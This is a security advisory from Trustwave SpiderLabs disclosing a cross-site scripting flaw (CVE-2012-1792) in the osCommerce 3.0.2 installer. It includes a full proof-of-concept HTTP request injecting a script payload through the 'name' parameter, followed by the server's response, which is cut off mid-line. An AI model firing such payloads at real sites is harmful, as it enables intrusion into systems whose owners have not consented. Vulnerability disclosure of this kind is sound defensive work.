Trustwave's SpiderLabs Security Advisory TWSL2012-005: Cross-Site Scripting Vulnerability in osCommerce Published: 03/23/12 Version: 1.0 Vendor: osCommerce (http://oscommerce.com/) Product: osCommerce Version affected: v3.0.2 and prior versions Product description: osCommerce is an e-commerce solution that is available for free as an Open Source based solution released under the GNU General Public License. Credit: Jonathan Claudius of Trustwave SpiderLabs Finding 1: Cross-Site Scripting Vulnerabilities in "name" parameter in 'index.php' page CVE: CVE-2012-1792 After extracting the osCommerce source files on to a web server, but before the application is fully installed, cross-site scripting vulnerabilities are present in the root 'index.php' page. Example: Performing XSS on "name" parameter #Request POST /oscommerce/index.php?RPC&Setup&Install&DBCheck HTTP/1.1 Host: A.B.C.D User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0.1) Gecko/20100101 Firefox/9.0.1 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Proxy-Connection: keep-alive Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://A.B.C.D/oscommerce/index.php?Install Content-Length: 97 Cookie: Setup[language]=en_US; 9d4bb4a09f511681369671a08beff228=tomvi1uuhul0m676ha8and9fn6 Pragma: no-cache Cache-Control: no-cache server=&username=&password=&name=%3Cscript%3Ealert(123)%3C%2Fscript%3E&port=&class=MySQL_Standard #Response HTTP/1.1 200 OK Date: Wed, 18 Jan 2012 20:56:07 GMT Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.3.3 Cache-Control: no-cache, must-revalidate Expires: Mon, 26 Jul 1997 05:00:00 GMT Content-Length: 138 Connection: close Content-Type: text/html; charset=utf-8 {"result":false,"error_message":"SQLSTATE[42000] [1044] Access denied for user ''@'localhost' to database '